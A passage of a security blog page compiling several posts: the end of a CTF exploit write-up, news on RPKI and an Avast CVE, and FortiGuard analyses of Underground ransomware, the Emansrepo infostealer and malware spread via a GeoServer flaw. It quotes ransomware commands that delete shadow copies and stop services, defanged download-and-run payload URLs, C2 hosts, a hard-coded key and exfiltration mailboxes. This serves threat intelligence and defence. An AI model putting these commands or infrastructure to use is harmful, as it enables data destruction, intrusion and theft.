fakeClosure = ubn(addr_of(fakeUpvals) + 16, 8)

crafted_func = craft_object(fakeClosure)

crafted_func(0x1337)

and…

AltText

Wrapping it up

Solving this challenge was true hacker enjoyment – this is the joy of weird machines!

Before closing this entry, I wanted to congratulate the author of the challenge (and of the attached blogpost). It is rare to find content of this quality. Personally, I think that the idea of preparing challenges as companion content for hacking writeups is a great honking ideas, and we should do more of it.

In this blogpost, we hacked with interpreters, confusions, exploitation primitives and WASM internals. I hope you’ve enjoyed the ride, and I salute you until the next one.

Enjoy!

Posted in Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

RPKI Security Under Fire: 53 Vulnerabilities Exposed in New Research

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

In a revealing new study, cybersecurity researchers from Germany have highlighted significant vulnerabilities and operational challenges within the Resource Public Key Infrastructure (RPKI) protocol, raising serious concerns about its current stability and security. While the protocol was designed to bolster the safety of internet traffic routing, researchers suggest it may fall short of its promises.

RPKI was introduced as a remedy for the inherent flaws in the Border Gateway Protocol (BGP), the backbone of internet traffic routing, which lacked essential security measures. RPKI enhances security by enabling network operators to verify the authenticity of BGP route origins through Route Origin Validation (ROV) and Route Origin Authorizations (ROA). In theory, this system should prevent the announcement of fraudulent or malicious routes. However, the study from Germany reveals that RPKI is far from infallible, with numerous vulnerabilities that could undermine its core purpose.

In early September, the White House integrated RPKI into its network infrastructure as part of a broader initiative to improve the security of the Internet, specifically targeting national security and economic vulnerabilities in the U.S. The decision was lauded as a forward-thinking move to address critical internet security gaps. Yet, just weeks later, this German report casts a shadow of doubt over the efficacy of RPKI.

The research outlines 53 vulnerabilities within RPKI’s software components, including critical issues such as Denial of Service (DoS), authentication bypass, cache poisoning, and even remote code execution. While many of these vulnerabilities were quickly patched, the rapid discovery of so many flaws raises alarm bells about the overall robustness of the protocol.

The study warns that RPKI, in its current iteration, is an attractive target for cybercriminals. The myriad vulnerabilities identified could lead to failures in the validation process, opening doors to significant attacks on the internet’s routing infrastructure. Worse yet, these flaws may even provide access to local networks where vulnerable RPKI software is in use.

One of the researchers’ gravest concerns is the potential for supply chain attacks, where cybercriminals could implant backdoors in the open-source components of RPKI. This could lead to a widespread compromise of the very systems meant to secure internet traffic routing.

Moreover, many operators have encountered difficulties in updating the RPKI code due to the lack of automation in the process. This bottleneck could delay crucial security patches, leaving around 41.2% of RPKI users exposed to at least one known attack.

Experts also raise questions about the U.S. government’s timing in adopting a protocol that may not yet be fully mature. While the White House’s efforts to bolster cybersecurity are commendable, the rapid deployment of RPKI before it reaches its full potential could have unintended consequences. The lack of automation and scalability tools further exacerbates the problem, as incorrect configurations or delayed updates could severely impair the protocol’s effectiveness.

Nonetheless, the researchers recognize that most internet technologies were introduced with imperfections and have evolved over time through practical use. They suggest that while Resource Public Key Infrastructure is not flawless, its adoption can still be a crucial step in strengthening internet security, provided it is continuously improved upon.

Posted in Exploits, VulnerabilityTagged Cyber Attacks, Data Security, Programming, Ransomware, Reverse Engineering, vulnerabilityLeave a comment

CVE-2024-5102: Avast Antivirus Flaw Could Allow Hackers to Delete Files and Run Code as SYSTEM

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

A high-severity vulnerability (CVE-2024-5102) has been discovered in Avast Antivirus for Windows, potentially allowing attackers to gain elevated privileges and wreak havoc on users’ systems. This flaw, present in versions prior to 24.2, resides within the “Repair” feature, a tool designed to fix issues with the antivirus software itself.

The vulnerability stems from how the repair function handles symbolic links (symlinks). By manipulating these links, an attacker can trick the repair function into deleting arbitrary files or even executing code with the highest system privileges (NT AUTHORITY\SYSTEM). This could allow them to delete critical system files, install malware, or steal sensitive data.

Exploiting this vulnerability involves a race condition, where the attacker must win a race against the system to recreate specific files and redirect Windows to a malicious file. While this adds a layer of complexity to the attack, successful exploitation could have devastating consequences.

“This can provide a low-privileged user an Elevation of Privilege to win a race-condition which will re-create the system files and make Windows callback to a specially-crafted file which could be used to launch a privileged shell instance,” reads the Norton security advisories.

Avast has addressed this vulnerability in version 24.2 and later of their antivirus software. Users are strongly encouraged to update their software immediately to protect themselves from potential attacks.

This vulnerability was discovered by security researcher Naor Hodorov.

Users of Avast Antivirus should prioritize updating to the latest version to mitigate the risk of exploitation. Ignoring this vulnerability could leave systems vulnerable to serious attacks, potentially leading to data loss, system instability, and malware infections.

Posted in Exploits, VulnerabilityTagged Cyber Attacks, Data Security, malware, Programming, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Ransomware Roundup – Underground

Posted on October 8, 2024 - October 8, 2024 by Maq Verma

FortiGuard Labs gathers data on ransomware variants of interest that have been gaining traction within our datasets and the OSINT community. The Ransomware Roundup report aims to provide readers with brief insights into the evolving ransomware landscape and the Fortinet solutions that protect against those variants.

This edition of the Ransomware Roundup covers the Underground ransomware.

Affected platforms: Microsoft Windows
Impacted parties: Microsoft Windows
Impact: Encrypts victims’ files and demands ransom for file decryption
Severity level: High

Underground Ransomware Overview

The first sample of Underground ransomware was first observed in early July 2023, on a publicly available file scanning site. This roughly coincides with the timing of the first victim posted on its data leak site on July 13, 2023.

Like most ransomware, this ransomware encrypts files on victims’ Windows machines and demands a ransom to decrypt them via dropped ransom notes.

Infection Vector

Online reports indicate that the Russia-based RomCom group, also known as Storm-0978, is deploying the Underground ransomware. This threat group is known to exploit CVE-2023-36884 (Microsoft Office and Windows HTML RCE Vulnerability), which could be the infection vector for the ransomware.

FortiGuard Labs published an Outbreak Alert on CVE-2023-36884 on July 13, 2024.

  • Outbreak Alert: Microsoft Office and Windows HTML RCE Vulnerability

The group may also use other common infection vectors such as email and purchasing access from an Initial Access Broker (IAB).

Attack Method

Once executed, the Underground ransomware deletes shadow copies with the following command:

  • vssadmin.exe delete shadows /all /quiet

The ransomware sets the maximum time that a RemoteDesktop/TerminalServer session can remain active on the server to 14 days (14 days after the user disconnects) using the following command:

  • reg.exe add HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services / v MaxDisconnectionTime / t REG_DWORD / d 1209600000 / f

It then stops the MS SQL Server service with the following command:

  • net.exe stop MSSQLSERVER /f /m

The ransomware then creates and drops a ransom note named “!!readme!!!.txt”:

Figure 1: The Underground ransomware ransom note

Figure 1: The Underground ransomware ransom note

While the ransomware encrypts files, it does not change or append file extensions.

Figure 2: A text file before file encryption

Figure 2: A text file before file encryption

Figure 3: A text file after file encryption

Figure 3: A text file after file encryption

It also avoids encrypting files with the following extensions:

.sys.exe.dll.bat.bin.cmd
.com.cpl.gadget.inf1.ins.inx
.isu.job.jse.lnk.msc.msi
.mst.paf.pif.ps1.reg.rgs
.scr.sct.shbshs.u3p.vb
.vbe.vbs.vbscript.ws.wsh.wsf

The ransomware creates and executes temp.cmd, which performs the following actions:

  • Deletes the original ransomware file
  • Obtains a list of Windows Event logs and deletes them

Victimology and Data Leak Site

The Underground ransomware has a data leak site that posts victim information, including data stolen from victims. Currently, the data leak site lists 16 victims, with the most recent victim posted on July 3, 2024. Below is a breakdown of the victims and their verticals:

Post DateLocation of VictimVertical
2024/07/03USAConstruction
2024/07/01FrancePharmaceuticals
2024/06/17USAProfessional Services
2024/05/27USABanking
2024/05/15USAMedicine
2024/05/01USAIndustry
2024/04/09USABusiness Services
2024/04/09USAConstruction
2024/03/25USAManufacturing
2024/03/06KoreaManufacturing
2024/02/12SpainManufacturing
2024/02/02GermanyIndustry
2023/07/31SlovakiaBusiness Services
2024/07/18TaiwanIndustry
2024/07/18SingaporeManufacturing
2024/07/14CanadaManufacturing
Figure 4: The data leak site for Underground ransomware

Figure 4: The data leak site for Underground ransomware

The data leak site also includes a drop-down box with a list of industries that the ransomware group is targeting or is allowed to target.

underground ransomware industries
Figure 5: One of the victims on the data leak site

Figure 5: One of the victims on the data leak site

The Underground ransomware group also has a Telegram channel that was created on March 21, 2024.

Figure 6: The Underground ransomware Telegram channel

Figure 6: The Underground ransomware Telegram channel

According to the Telegram channel, the ransomware group has made victims’ stolen information available on Mega, a cloud storage service provider that is being abused.

Figure 7: Telegram channel containing links to the stolen information on Mega

Figure 7: Telegram channel containing links to the stolen information on Mega

Fortinet Protections

The Underground ransomware described in this report is detected and blocked by FortiGuard Antivirus as:

  • W64/IndustrySpy.C!tr.ransom
  • W64/Filecoder_IndustrialSpy.C!tr.ransom
  • Adware/Filecoder_IndustrialSpy
  • Riskware/Ransom

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is a part of each of those solutions. As a result, customers who have these products with up-to-date protections are protected.

Please read the outbreak alert for protection against the potential infection vector (CVE-2023-36884) abused by the Underground ransomware:

  • Outbreak Alert: Microsoft Office and Windows HTML RCE Vulnerability

IOCs

Underground Ransomware File IOCs

SHA2Note
9543f71d7c4e394223c9d41ccef71541e1f1eb0cc76e8fa0f632b8365069af64  Underground ransomware
9f702b94a86558df87de316611d9f1bfe99a6d8da9fa9b3d7bb125a12f9ad11f
eb8ed3b94fa978b27a02754d4f41ffc95ed95b9e62afb492015d0eb25f89956f
9d41b2f7c07110fb855c62b5e7e330a597860916599e73dd3505694fd1bbe163
cc80c74a3592374341324d607d877dcf564d326a1354f3f2a4af58030e716813
d4a847fa9c4c7130a852a2e197b205493170a8b44426d9ec481fc4b285a92666

FortiGuard Labs Guidance

Due to the ease of disruption, damage to daily operations, potential impact on an organization’s reputation, and the unwanted destruction or release of personally identifiable information (PII), etc., it is vital to keep all AV and IPS signatures up to date.

Since the majority of ransomware is delivered via phishing, organizations should consider leveraging Fortinet solutions designed to train users to understand and detect phishing threats:

The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks.

Our FREE Fortinet Certified Fundamentals (FCF) in Cybersecurity training. The training is designed to help end users learn about today’s threat landscape and will introduce basic cybersecurity concepts and technology.

Organizations will need to make foundational changes to the frequency, location, and security of their data backups to effectively deal with the evolving and rapidly expanding risk of ransomware. When coupled with digital supply chain compromise and a workforce telecommuting into the network, there is a real risk that attacks can come from anywhere. Cloud-based security solutions, such as SASE, to protect off-network devices; advanced endpoint security, such as EDR (endpoint detection and response) solutions that can disrupt malware mid-attack; and Zero Trust Access and network segmentation strategies that restrict access to applications and resources based on policy and context, should all be investigated to minimize risk and to reduce the impact of a successful ransomware attack.

As part of the industry’s leading fully integrated Security Fabric, delivering native synergy and automation across your security ecosystem, Fortinet also provides an extensive portfolio of technology and human-based as-a-service offerings. These services are powered by our global FortiGuard team of seasoned cybersecurity experts.

FortiRecon is a SaaS based Digital Risk Prevention Service backed by cybersecurity experts to provide unrivaled threat intelligence on the latest threat actor activity across the dark web, providing a rich understanding of threat actors’ motivations and TTPs. The service can detect evidence of attacks in progress allowing customers to rapidly respond to and shut down active threats.

Best Practices Include Not Paying a Ransom

Organizations such as CISA, NCSC, the FBI, and HHS caution ransomware victims against paying a ransom partly because the payment does not guarantee that files will be recovered. According to a US Department of Treasury’s Office of Foreign Assets Control (OFAC) advisory, ransom payments may also embolden adversaries to target additional organizations, encourage other criminal actors to distribute ransomware, and/or fund illicit activities that could potentially be illegal. For organizations and individuals affected by ransomware, the FBI has a Ransomware Complaint page where victims can submit samples of ransomware activity via their Internet Crimes Complaint Center (IC3).

How Fortinet Can Help

FortiGuard Labs’ Emergency Incident Response Service provides rapid and effective response when an incident is detected. Our Incident Readiness Subscription Service provides tools and guidance to help you better prepare for a cyber incident through readiness assessments, IR playbook development, and IR playbook testing (tabletop exercises).

Additionally, FortiRecon Digital Risk Protection (DRP) is a SaaS-based service that provides a view of what adversaries are seeing, doing, and planning to help you counter attacks at the reconnaissance phase and significantly reduce the risk, time, and cost of later-stage threat mitigation.

Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Emansrepo Stealer: Multi-Vector Attack Chains

Posted on October 8, 2024 - October 8, 2024 by Maq Verma

Affected Platforms: Microsoft Windows
Impacted Users: Microsoft Windows
Impact: The stolen information can be used for future attack
Severity Level: High

In August 2024, FortiGuard Labs observed a python infostealer we call Emansrepo that is distributed via emails that include fake purchase orders and invoices. Emansrepo compresses data from the victim’s browsers and files in specific paths into a zip file and sends it to the attacker’s email. According to our research, this campaign has been ongoing since November 2023.

The attacker sent a phishing mail containing an HTML file, which was redirected to the download link for Emansrepo. This variant is packaged by PyInstaller so it can run on a computer without Python.

Figure 1: Attack flow in November 2023

Figure 1: Attack flow in November 2023

Figure 2: The download link for Emansrepo is embedded in RTGS Invoices.html.

Figure 2: The download link for Emansrepo is embedded in RTGS Invoices.html.

As time goes by, the attack flow has become increasingly complex. Below are the attack flows we found in July and August 2024:

Figure 3: Attack flow in August and July 2024

Figure 3: Attack flow in August and July 2024

Various stages are being added to the attack flow before downloading Emansrepo, and multiple mailboxes are used to receive different kinds of stolen data. This article will provide a detailed analysis of each attack chain and its behavior. We will then provide a quick summary of the next campaign.

Attack Flow

  • Chain 1
Figure 4: The phishing mail in chain 1 contains a fake download page

Figure 4: The phishing mail in chain 1 contains a fake download page

The attachment is a dropper that mimics a download page. It creates a link element that points to the data of Purchase-Order.7z and uses the click() method to “download” Purchase-Order.7z. Six seconds later, it redirects to a completely unrelated website.

Figure 5: Source code of the attachment

Figure 5: Source code of the attachment

Purchase-Order.exe, the file embedded in Purchase-Order.7z, is an AutoIt-compiled executable. It doesn’t include any files, and the AutoIt script determines its behavior. The script has many unused functions, frustrating its analysis. The only meaningful code downloads preoffice.zip to the Temp folder and unzips it into % TEMP%\PythonTemp. The zip archive contains necessary Python modules and tester.py, the malicious script for information stealing.

Figure 6: The AutoIt script downloads the Python infostealer

Figure 6: The AutoIt script downloads the Python infostealer

  • Chain 2
Figure 7: The phishing mail in chain 2

Figure 7: The phishing mail in chain 2

The innermost file in P.O.7z is an HTA file. Its source file is a JavaScript file that shows a hidden window named PowerShell Script Runner and downloads the PowerShell script, script.ps1, with VBScript for the next stage.

Figure 8: The decryption algorithm of the JavaScript file and the result

Figure 8: The decryption algorithm of the JavaScript file and the result

The behavior of script.ps1 is similar to the AutoIt script in chain 1. It downloads preoffice.zip to the Temp folder and unzips it to %TEMP%\PythonTemp, but it executes Emansrepo using run.bat.

Figure 9: script.ps1 executes run.bat to run the infostealer

Figure 9: script.ps1 executes run.bat to run the infostealer

  • Chain 3
Figure 10: The phishing mail in chain 3

Figure 10: The phishing mail in chain 3

The 7z file from the link in the phishing mail contains a batch file obfuscated by BatchShield.

Figure 11: The obfuscated batch file

Figure 11: The obfuscated batch file

After deobfuscation, we can see that it is not as complicated as it first seems. It simply downloads and executes script.ps1 using PowerShell.

Figure 12: The deobfuscated batch file

Figure 12: The deobfuscated batch file

Python Infostealer

According to the email receiving the data, the infostealer behavior can be divided into three parts. It creates folders to temporarily store the stolen data for each part and deletes them after sending the data to the attacker. The stolen data is attached to the email sent to the attacker.

  • Part 1 – User information and text files

In part 1, the Python stealer collects login data, credit card information, web history, download history, autofill, and text files (less than 0.2 MB) from the Desktop, Document, and Downloads folders.

Senderminesmtp8714@maternamedical[.]top
Receiverminestealer8412@maternamedical[.]top
TargetBrowsersamigo, torch, kometa, orbitum, cent-browser, 7star, sputnik, vivaldi, google-chrome-sxs, google-chrome, epic-privacy-browser, microsoft-edge, uran, yandex, brave, iridium
Folder and files%TEMP%\Browsers:Text files (less than 0.2 MB) copied from Desktop, Document, Downloads%TEMP%\Browsers\{browser name}:Saved_Passwords.txt, Saved_Credit_Cards.txt, Browser_History.txt, Download_History.txt, Autofill_Data.txt
AttachmentZip file of %TEMP%\Browsers  folder

Part 1 includes the initial features of Emansrepo since there is only code for part 1 in the November 2023 variant (e346f6b36569d7b8c52a55403a6b78ae0ed15c0aaae4011490404bdb04ff28e5). It’s worth noting that emans841 report has been used as the divider in Saved_Passwords.txt since the December 2023 variant (ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2b5a). Because of this, we call it Emansrepo.

Figure 13: The content of Saved_Passwords.txt

Figure 13: The content of Saved_Passwords.txt

The variant used in November 2023 uses Prysmax Premium as the divider.

By comparing the variant in November 2023 with the first edition of the Prysmax stealer shared on GitHub, we find they contain many similar functions, though the Emansrepo stealer had fewer features. However, as parts 2 and 3 were added to Emansrepo, it has become quite different from the Prysmax stealer.

Figure 14: Left: Variant in November 2023. Right: First edition of Prysmax Stealer on GitHub

Figure 14: Left: Variant in November 2023. Right: First edition of Prysmax Stealer on GitHub

  • Part2 – PDF files, extensions, crypto wallets, and game platform

Part 2 copies PDF files (less than 0.1 MB) from the Desktop, Document, Downloads, and Recents folders and compresses folders of browser extensions, crypto wallets, and game platforms into zip files.

Senderextensionsmtp@maternamedical[.]top
Receiverfilelogs@maternamedical[.]top
TargetBrowsersOpera, Chrome, Brave, Vivaldi, Yandex, EdgeCrypto walletAtomic Wallet, Guarda, Zcash, Armory, Bytecoin, Exodus, Binance, Electrum, Coinomi, jaxxGame platformSteam, Riot GamesBrowser extensionMetaMask, BNB Chain Wallet, Coinbase Wallet, Ronin Wallet, Trust Wallet, Venom Wallet, Sui Wallet, Martian Aptos & Sui Wallet, TronLink, Petra Aptos Wallet, Pontem Crypto Wallet, Fewcha Move Wallet, Math Wallet, Coin98 Wallet, Authenticator, Exodus Web3 Wallet, Phantom, Core | Crypto Wallet & NFT, TokenPocket – Web3 & Nostr Wallet, SafePal Extension Wallet, Solflare Wallet, Kaikas, iWallet, Yoroi, Guarda, Jaxx Liberty, Wombat, Oxygen – Atomic Crypto Wallet, MEW CX, GuildWallet, Saturn Wallet, Station Wallet, Harmony, EVER Wallet, KardiaChain Wallet, Pali Wallet, BOLT X, Liquality Wallet, XDEFI Wallet, Nami, MultiversX Wallet, Temple – Tezos Wallet, XMR.PT
Folder and files in temp folder%TEMP%\pdf_temps:PDF files (less than 0.1 MB) copied from Desktop, Document, Downloads and Recents folder{extension ID}.zip{data folder}.zip
AttachmentAll files in pdf_temp
  • Part 3 – Cookies

Part 3 copies cookie files and zips it into {process_name}_cookies.zip.

Sendercookiesmtp@maternamedical[.]top
Receivercooklielogs@maternamedical[.]top
TargetBrowsersChrome, msedge, brave, opera, 360se, 360browser, yandex, UCBrowser, QQBrowser
Folder and files in temp folder%TEMP%\cookies_data:{process_name}_cookies.zip
Zip fileZip files in cookies_data

New Campaign

We recently found another attack campaign using the Remcos malware, which we believe is related to the same attacker because of the phishing email.

Figure 15: Left: the email for the Python infostealer. Right: The email for Remcos.

Figure 15: Left: the email for the Python infostealer. Right: The email for Remcos.

As the above screenshot shows, these attacks have the same content but use different methods to distribute malware. The attack flow for Remcos is much simpler. The attacker just sends phishing emails with a malicious attachment. The attachment is a DBatLoader, which downloads and decrypts data for the payload. The payload is a Remcos protected by a packer.

Figure 16: Attack flow of new Remcos campaign

Figure 16: Attack flow of new Remcos campaign

Conclusion

Emansrepo has been active since at least last November, and the attack method is continuously evolving. The attack vectors and malware are ever-changing and pervasive, so it’s vital for organizations to maintain cybersecurity awareness. FortiGuard will continue monitoring these attack campaigns and providing appropriate protections as required.

Fortinet Protections

The malware described in this report is detected and blocked by FortiGuard Antivirus as:

W32/Kryptik.EB!tr
JS/Agent.FEI!tr
BAT/Downloader.2C22!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each solution. As a result, customers who have these products with up-to-date protections are already protected.

The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded link object inside the Excel document.

To stay informed of new and emerging threats, you can sign up to receive future alerts.

We also suggest our readers go through the free Fortinet Cybersecurity Fundamentals (FCF) training, a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IOCs

Address

hxxps://bafybeigm3wrvmyw5de667rzdgdnct2fvwumyf6zyzybzh3tqvv5jhlx2ta[.]ipfs[.]dweb[.]link/wetrankfr[.]zip
hxxps://bafybeifhhbimsau6a6x4m2ghdmzer5c3ixfztpocqqudlo4oyzer224q4y[.]ipfs[.]w3s[.]link/myscr649612[.]js
https://estanciaferreira[.]com[.]br/wp-includes/TIANJIN-DOC-05082024-xls[.]7z
hxxps://dasmake[.]top/reader/timer[.]php
hxxps://hedam[.]shop/simple/Enquiry.7z
191[.]101[.]130[.]185
192[.]236[.]232[.]35

Email address

stealsmtp@dasmake[.]xyz
hanbox@dasmake[.]xyz
publicsmtp@dasmake[.]xyz
publicbox@dasmake[.]xyz
minesmtp8714@dasmake[.]xyz
minestealer8412@dasmake.xyz
minesmtp8714@maternamedical[.]top
minestealer8412@maternamedical[.]top
extensionsmtp@maternamedical[.]top
filelogs@maternamedical[.]top
cookiesmtp@maternamedical[.]top
cooklielogs@maternamedical[.]top

Phishing mail

a6c2df5df1253f50bd49e7083fef6cdac544d97db4a6c9c30d7852c4fd651921
9e5580d7c3c22e37b589ec8eea2dae423c8e63f8f666c83edabecf70a0948b99
9bd3b8d9ac6ad680b0d0e39b82a439feedd87b9af580f37fa3d80d2c252fef8c
915bad0e2dbe0a18423c046f84d0ff7232fff4e5ba255cc710783f6e4929ab32
64e5c9e7b8dfb8ca8ca73895aa51e585fa7e5414f0e1d10659d3a83b9f770333
b343cce5381b8633b3fd3da56698f60db70c75422e120235a00517d519e37d8d
32bcbce53bfee33112b447340e7114d6d46be4ccf1a5391ad685431afdc8fb86

Delivery

bee8da411e71547ac765a5e63e177b59582df438432cc3b540b57a6f1a56dd16
70ba3d67b476e98419ecbbbb5d81efcb5a07f55a92c96e7b9207176746e3b7a6
a2fa6790035c7af64146158f1ed20cb54f4589783e1f260a5d8e4f30b81df70d
4cd8c9fa7f5e2484b73ed9c7be55aa859969c3f21ca2834610102231d337841d
6670e5c7521966e82d091e7adff4e16335f03f2e2740b653adcc9bfe35c7bf9b
dd656953a6844dd9585f05545a513c4e8c2ded13e06cdb67a0e58eda7575a7a4
9866934dd2b4e411cdabaa7a96a63f153921a6489f01b0b40d7febed48b02c22

Malware

e346f6b36569d7b8c52a55403a6b78ae0ed15c0aaae4011490404bdb04ff28e5
8e43c97e5bc62211b3673dee13e376a1f5026502ebe9fd9f7f455dc17c253b7f
ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2b5a
7a9826be22b6d977d6a0e5179f84d8e88b279fe6d9df8f6c93ebc40a6ba70f06
18459be33cd4f59081098435a0fbaa649f301f985647a75d21b7fc337378e59b
6e7313b6aa37a00b602e620a25a0b71a74503ea967f1814c6c7b8b192535a043
222dd76c461e70c3cb330bacfcf465751b07331c4f8a4415c09f4cd7c4e6fcd9
6e7313b6aa37a00b602e620a25a0b71a74503ea967f1814c6c7b8b192535a043

Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Threat Actors Exploit GeoServer Vulnerability CVE-2024-36401

Posted on October 8, 2024 - October 8, 2024 by Maq Verma

Affected Platforms: GeoServer prior to versions 2.23.6, 2.24.4, and 2.25.2
Impacted Users: Any organization
Impact: Remote attackers gain control of the vulnerable systems
Severity Level: Critical

GeoServer is an open-source software server written in Java that allows users to share and edit geospatial data. It is the reference implementation of the Open Geospatial Consortium (OGC) Web Feature Service (WFS) and Web Coverage Service (WCS) standards. On July 1, the project maintainers released an advisory for the vulnerability CVE-2024-36401 (CVSS score: 9.8). Multiple OGC request parameters allow remote code execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. The shortcoming has been addressed in versions 2.23.6, 2.24.4, and 2.25.2.

On July 15, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a critical security flaw impacting OSGeo GeoServer GeoTools to its Known Exploited Vulnerabilities (KEV) catalog based on evidence of active exploitation. FortiGuard Labs added the IPS signature the next day and has observed multiple campaigns targeting this vulnerability to spread malware. The botnet family and miner groups strike the attack immediately. We also collect sidewalk backdoors, and GOREVERSE tries to exploit this vulnerability and set a connection with a command and control server (C2) to execute malicious actions.

Overview

In this article, we will explore the details of the payload and malware.

GOREVERSE

Figure 1: Attack packet

Figure 1: Attack packet

The payload retrieves a script from “hxxp://181[.]214[.]58[.]14:61231/remote.sh.” The script file first verifies the victim’s operating system and architecture to download the appropriate file, which it saves as “download_file.” It accommodates various OS types, including Linux, FreeBSD, Illumos, NetBSD, OpenBSD, and Solaris. After execution, it deletes the file to remove traces of its activity.

Figure 2: Script file “remote.sh”

Figure 2: Script file “remote.sh”

The ultimate executable is “GOREVERSE,” packed with UPX. GOREVERSE is a malicious tool that often functions as a reverse proxy server, allowing attackers to illicitly access target systems or data.

Figure 3: GOREVERSE

Figure 3: GOREVERSE

Once executed, the connection is made to a specific IP address (181[.]214[.]58[.]14) and port (18201), which is not a standard SSH port.

Figure 4: GOREVERSE’s log

Figure 4: GOREVERSE’s log

From the exploitation packet of CVE-2024-36401, we observed threat actors attempting to access IT service providers in India, technology companies in the U.S., government entities in Belgium, and telecommunications companies in Thailand and Brazil.

SideWalk

Figure 5: Attack packet

Figure 5: Attack packet

The attacker fetches the script from “hxxp://1[.]download765[.]online/d.” This batch file facilitates the download of execution files. All the ELF files on the remote server, known as the “SideWalk” malware, are designed to operate on ARM, MIPS, and X86 architectures. SideWalk is a sophisticated Linux backdoor malware also often linked with the hacking group APT41.

Figure 6: Script file “d”

Figure 6: Script file “d”

First, SideWalk creates a folder named with a randomly generated string in the TMP directory. It then decodes two library files, libc.so.0 and ld-uClibc.so.1, along with the next-stage payload using the XOR key 0xCC. These decoded files are then stored in the previously created folder in the TMP path.

Figure 7: Creating the folder and files

Figure 7: Creating the folder and files

Figure 8: XOR decoded with 0xCC

Figure 8: XOR decoded with 0xCC

Figure 9: Saved decoded files

Figure 9: Saved decoded files

Then, it also uses XOR to decode the string data using the key 0x89.

Figure 10: XOR decoded with 0x89

Figure 10: XOR decoded with 0x89

It then executes the next stage payload, “ych7s5vvbb669ab8a.” It has three main functions:

1. Decrypt configuration: The configuration is decrypted using the ChaCha20 algorithm. The binary input contains a 16-byte MD5 hash, a 12-byte nonce for ChaCha20 decryption, and a 4-byte section indicating the length of the ciphertext, followed by the actual ciphertext. Based on the assembly code, the decryption key is hard-coded as “W9gNRmdFjxwKQosBYhkYbukO2ejZev4m,” and the decryption process runs 15 rounds (0xF). After successful decryption, the extracted C2 is secure[.]systemupdatecdn[.]de (47[.]253[.]46[.]11), listening on port 80, with the mutex name “hfdmzbtu.”

Figure 11: Decrypted configuration with ChaCha20

Figure 11: Decrypted configuration with ChaCha20

Figure 12: Encrypted binary

Figure 12: Encrypted binary

Figure 13: Decrypted configuration

Figure 13: Decrypted configuration

2. Establish C2 communication: Communication with the C2 server is established using an encrypted session, also based on the ChaCha20 algorithm. The packet structure comprises a 4-byte section representing the packet length, a 12-byte nonce for ChaCha20 decryption, 20 bytes of message metadata, and the final ciphertext. The initial exchange includes keys (v-key and s-key) for subsequent message encryption. In early packets, the original key, “W9gNRmdFjxwKQosBYhkYbukO2ejZev4m,” decrypts the message metadata, while the exchanged keys (v-key and s-key) decrypt the ciphertext. In packet 5, the victim’s information (computer name, operating system, and system time) is transmitted.

Figure 14: Packet capture of the C2 connection

Figure 14: Packet capture of the C2 connection

Figure 15: C2 communication

Figure 15: C2 communication

3. Execute the command issued by C2: In this attack scenario, we find a Plugin named Fast Reverse Proxy (FRP.) Fast Reverse Proxy (FRP) is a legitimate and widely-used tool that complicates the detection of malicious network traffic by blending it with normal traffic, thereby enhancing the stealthiness of cyberattacks. Because it is open source, this tool has been leveraged in the past by several threat actors, such as Magic Hound, Fox Kitten, and Volt Typhoon. Using FRP, attackers create an encrypted tunnel from an internally compromised machine to an external server under their control. This method enables them to maintain a foothold within compromised environments, exfiltrate sensitive data, deploy further malicious payloads, or execute other operations. In this attack case, SideWalk also downloads a customized configuration file that directs the connection to a remote server (47[.]253[.]83[.]86) via port 443, further enhancing the attacker’s control and persistence.

Figure 16: FRP's configuration

Figure 16: FRP’s configuration

Figure 17: Packet capture of FRP

Figure 17: Packet capture of FRP

Analysis of the script download URL’s telemetry reveals a concentrated pattern of infections. The primary targets appear to be distributed across three main regions: South America, Europe, and Asia. This geographical spread suggests a sophisticated and far-reaching attack campaign, potentially exploiting vulnerabilities common to these diverse markets or targeting specific industries prevalent in these areas.

Figure 18: Telemetry

Figure 18: Telemetry

Mirai Variant – JenX

Figure 19: Attack packet

Figure 19: Attack packet


This script downloads and executes a file named “sky” from a specified URL, “hxxp://188[.]214[.]27[.]50:4782. “ It changes its permissions to make it executable, runs it with the parameter “geo,” and then deletes the file.

Figure 20: XOR decoded function

Figure 20: XOR decoded function

The configuration data is extracted by XORing the file contents with 0x3A. This enabled us to find information like “bots[.]gxz[.]me,” which is the C2 server the malware attempts to connect to.

Figure 21: Decoded configuration data

Figure 21: Decoded configuration data

When executing the malware, a string shows up.

Figure 22: Execution message

Figure 22: Execution message

This malware has a credential list for brute-force attacks and a hard-coded payload related to the Huawei router vulnerability CVE-2017-17215. The payload attempts to download malware from 59[.]59[.]59[.]59.

Figure 23: Hard-coded payload

Figure 23: Hard-coded payload

Condi

